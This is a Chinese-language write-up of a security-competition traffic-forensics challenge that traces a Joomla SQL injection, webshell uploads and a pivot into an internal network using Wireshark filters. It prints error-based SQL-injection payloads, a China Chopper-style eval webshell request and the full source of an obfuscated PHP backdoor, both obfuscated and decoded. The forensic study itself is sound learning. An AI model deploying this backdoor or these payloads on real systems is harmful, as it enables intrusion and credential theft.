前言:
最近的學習效率不是很高,但無論在家還是學校都要學會自律,而且馬上就鐵人三項比賽了,通過復現一些之前的賽題進行學習。
0x01:涉及的一些協議
- TCP(傳送控制協議)
作用:是一種面向連接、可靠的、基於字節流的傳輸層通信協議
功能:數據包分塊、發送接收確認、超時重發、數據校驗、數據包排序、控制流量
TCP格式
連接,三次握手
斷開連接,四處揮手
3. UDP(用戶數據報協議)
4. IP (互聯網協議)
5. FTP(文件傳輸協議)
作用:用於網絡上進行文件傳輸的一套標準協議,使用C/S模式。屬於應用層。
FTP一般運行在20和21兩個端口。20用於傳輸控制流
在wireshark過濾器中
ftp 只顯示命令鏈路的,沒有數據鏈路的
ftp-data 傳輸數據的鏈路
ftp-data or ftp 全部顯示
- ARP(地址解析協議)
作用:通過解析網絡層地址來尋找數據鏈路層地址,即通過IP地址定位MAC地址
7. DHCP(動態地址配置協議)
作用:用於內部網絡或網絡服務供應商自動分配IP地址給用戶
請求過程和報文格式
0x02:常用過濾命令
#1.過濾IP
ip.addr==192.168.x.x
ip.addr.eq 192.168.x.x
(addr/src/dst)
#2.過濾協議
http/tcp/telnet/ssh
#3.過濾HTTP請求方法
http.request.method==POST(GET)
#4.uri中包含eval關鍵字
http.request.uri contains eval
#5.請求狀態碼爲404
http.response.code==404
#6.連接符
&& || and or
做題技巧:
1.大量404請求-》目錄掃描
2.大量select...from關鍵字請求-》sql注入
3.連續一個ip的多端口請求或多個ip的幾個相同端口請求-》端口掃描
4.常見的關鍵字:
Login、admin、manage、edit、upload、eval
assert、POST、select、404、alert
2018.5.5信息安全鐵人三項
#題目描述
1.黑客攻擊的第一個受害主機的網卡IP地址
2.黑客對URL的哪一個參數實施了SQL注入
3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)
4.第一個受害主機網站數據庫的名字
5.Joomla後臺管理員的密碼是多少
6.黑客第一次獲得的php木馬的密碼是什麼
7.黑客第二次上傳php木馬是什麼時間
8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
10.php代理第一次被使用時最先連接了哪個IP地址
11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麼時候
12.黑客在內網主機中添加的用戶名和密碼是多少
13.黑客從內網服務器中下載下來的文件名
第一個數據包
一大堆的數據包,先過濾http協議查看一下
這個IP很可疑,而且也是公網的IP,過濾一下可靠他都訪問了哪些IP
http.request.method==GET && ip.src==202.1.1.2
發現202.1.1.2對192.168.1.8發送大量的請求(爆破),所以黑客攻擊的第一個受害主機的網卡IP地址192.168.1.8
繼續往下面看,發現在進行SQL注入,隨便拿一個追蹤數據流
所以黑客對URL的list[select]
參數實施了SQL注入
在報錯信息中可以查看到網站數據庫的表前綴
爲ajtuc_
接下來確定第一個受害主機網站數據庫的名字,SQL注入而且是GET方式的,肯定會在傳入的參數中留下注入的數據庫名字,再次進行過濾
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
直接查看202.1.1.2,SQL注入的最後一條請求,進行解碼
第一個受害主機網站數據庫的名字爲Joomla
接下來查找Joomla後臺管理員的密碼是什麼
http contains "password" && http.request.method==POST
過濾出兩條登陸的信息,但查看HTTP數據流發現都是在測試密碼,所以這裏沒有密碼,一開始覺得是在第二個流量包裏面,但是過濾後發現已經是登陸成功了,所以既然密碼沒有在登陸出現,就去查一下是否在SQL注入的時候給爆破出來了,就在過濾語句中添加password
ip.dst == 192.168.1.8 && http contains "password"
查到三條數據
查看返回的報錯信息
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq
發現SQL語句前面都有一個0x71717a7671
,後面有一個0x71716b6b71
,解碼一下
0x71717a7671
qqzvq
0x71716b6b71
qqkkq
所以是前綴和後綴,去掉這些,得到
$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe
到這一步也不知道該怎麼弄了,看了飄零師傅的博客,最後是合在一起,組成密文解密即可(所以上面的報文錯誤信息就需要按順序排列)
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe
這個不知道要怎麼破解,破解之後應該就是密碼了
第二個數據包
接下來查看黑客第一次獲得的php木馬的密碼是什麼
這個是在第一個數據包最後面發現的,一個php文件,一看就不正常好吧 ,應該不會開發人員沒事幹寫個這種文件,所以應該是木馬,追蹤一下流查看一下
但是啥也沒,所以就直接切換第二個數據包進行查看
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
發現有幾個數據包是POST /kkkaaa.php
,追蹤一下流進行查看
傳入的可以解碼一下,而且服務器返回的狀態碼是200,說明是成功的
zzz=@eval(base64_decode($_POST[z0]));
&z0=
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("|<-");
die();
所以很明顯了php木馬的密碼是zzz
黑客第二次上傳php木馬是什麼時間
發現一個footer.php
文件,但並沒有上傳這個文件的過程,猜想是不是通過之前的木馬進行上傳的
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http.request.method==POST
發現第四個有些特別,可以查看下
解碼並進行格式化後發現有footer. php
&zzz = @eval(base64_decode($_POST[z0]));
&z0 = @ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$f = base64_decode($_POST["z1"]);
$c = $_POST["z2"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
echo (@fwrite(fopen($f, "w"), $buf) ? "1" : "0");;
echo ("|<-");
die(); & z1 = / var /www / html / joomla / tmp / footer . php & z2 =
< ? php $p = 'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d = ']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W = '),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e = ']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E = '>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t = '($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M = ']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P = ']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j = str_replace('fr', '', 'cfrrfreatfrfre_funcfrtfrion');
$k = '];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g = '"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R = '$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q = ']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v = ']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x = str_replace('>]', '', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);
$N = $j('', $x);
$N();
?>
但下面那一段代碼輸出後是什麼,可以測試一下
var_dump($x);
格式化一下
<?PHP
"$kh="cb42";$kf="e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s = & $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {$s[$i] = "";
$p = $ss($p, 3);
}if (array_key_exists($i, $s)) {$s[$i].= $p;
$e = strpos($s[$i], $f);
if ($e) {$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print ("<$k>$d</$k>");
@session_destroy();
}}}}"
所以黑客第二次上傳php木馬時間是
17:20:44.248365000
第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
觀察木馬涉及到了這兩個與HTTP頭有關的參數
$_SERVER["HTTP_REFERER"]和$_SERVER["HTTP_ACCEPT_LANGUAGE"]
查看一下上傳進去的第二個木馬
先進行過濾一下
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
查看其中的一個footer. php文件
發現Referer比較可疑,所以第二次上傳的木馬通過HTTP協議中Referer
來傳遞數據的,一開始我是這樣做的,但這樣感覺跟猜測一樣,沒有確定的證據,看了飄零師傅的題解,發現要先解碼
是亂碼,再看上面的木馬,有一段是這樣的,與小馬的特性有關
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
一個PHP混淆後門的分析
返回的是加密後的信息
所以這樣才能進行確定第二次上傳的木馬通過HTTP協議中Referer
來傳遞數據的
內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
注意這裏是內網主機,所以再用http是查不多任何結果的,使用TCP協議,上面也介紹了這種協議
tcp contains "mysql" && mysql
在第二個數據包,沒有找到任何信息,查看第三個數據包也沒有發現,看第四個
第四個數據包
發現192.168.1.8進行頻繁的登陸,應該是在爆破MySQL密碼
tcp contains "mysql" && mysql && ip.src==192.168.1.8
進一步過濾,找最後一條信息,應該就是登陸成功了
故內網主機的mysql用戶名和請求連接的密碼hash是
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
總結一下已經得到的信息
1.黑客攻擊的第一個受害主機的網卡IP地址
192.168.1.8
2.黑客對URL的哪一個參數實施了SQL注入
list[select]
3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)
ajtuc_
4.第一個受害主機網站數據庫的名字
joomla
5.Joomla後臺管理員的密碼是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次獲得的php木馬的密碼是什麼
zzz
7.黑客第二次上傳php木馬是什麼時間
17:20:44.248365
8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
Referer
9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
接下來看第10個問題
php代理第一次被使用時最先連接了哪個IP地址
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http
查看一下,發現又多出來一個文件
該主機已經被掛上了tunnel.php
,方便外網對內網的訪問,所以php代理第一次被使用時最先連接了4.2.2.2
第九個數據包
黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麼時候
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && (http contains "dir" && http contains "ls")
如果還是這樣的過濾方法就查詢不到信息,因爲這種查詢固定了src只能是202.1.1.2
,不能接收來自192.168.1.8的信息,之前用這種過濾的可能還行,但更好的還是使用下面這種過濾方法:
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")
發現了ls、dir
觀察追蹤ls的數據流,發現並沒有列出文件,追蹤一下dir的數據流
很明顯都列出來了,所以黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生
18:37:38.482420000
而且目標系統爲windows
黑客在內網主機中添加的用戶名和密碼是多少
由上面可以知道192.168.2.20的機器可以執行命令,所以過濾出這個IP
ip.addr == 192.168.2.20 && http
黑客利用echo命令寫入了一個名爲sh.php的後門,在18:49:27.767754000
時間發現
發現一條可疑數據,解碼一下傳入的參數發現
&z1=cmd&z2=cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user&echo [S]&cd&echo [E]
判斷黑客應該是執行了net user的命令,再往下面看發現
在18:50:42.908737000
時間時間出現了一個kaka
用戶
分析一下
18:49:27.767754時,不存在kaka用戶
18:50:42.908737時,kaka用戶已成爲管理員
說明就在這期間,黑客設置了管理員,下面就過濾下查詢
所以添加用戶名和密碼一定就在這之間
結果在18:49:48.830665000時間
找到了添加用戶的信息
解碼發現,添加了kaka
用戶,而且密碼也爲kaka
故黑客在內網主機中添加的用戶名和密碼均是kaka
最後查詢一下黑客從內網服務器中下載下來的文件名是什麼?
ip.src == 192.168.2.20 && http contains "install"
如果黑客請求了,192.168.2.20這個IP一定會返回響應的信息,過濾後查到了
看了飄零師傅的題解,既然是下載,應該就是利用中國菜刀進行下載,那隻過濾出post流量,查看命令即可
ip.dst==192.168.2.20 && http.request.method==POST
直接查找最後一條信息
解碼發現也是這個文件,所以可以確定黑客下載的就是這個文件
答案彙總
1.黑客攻擊的第一個受害主機的網卡IP地址
192.168.1.8
2.黑客對URL的哪一個參數實施了SQL注入
list[select]
3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)
ajtuc_
4.第一個受害主機網站數據庫的名字
joomla
5.Joomla後臺管理員的密碼是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次獲得的php木馬的密碼是什麼
zzz
7.黑客第二次上傳php木馬是什麼時間
17:20:44.248365
8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
Referer
9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
10.php代理第一次被使用時最先連接了哪個IP地址
4.2.2.2
11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麼時候
18:37:38.482420
12.黑客在內網主機中添加的用戶名和密碼是多少
kaka:kaka
13.黑客從內網服務器中下載下來的文件名
lsass.exe_180208_185247.dmp
總結
做完感覺挺有意思的,有些地方沒有想到就看看飄零師傅的題解,師傅實在tql,像師傅學習!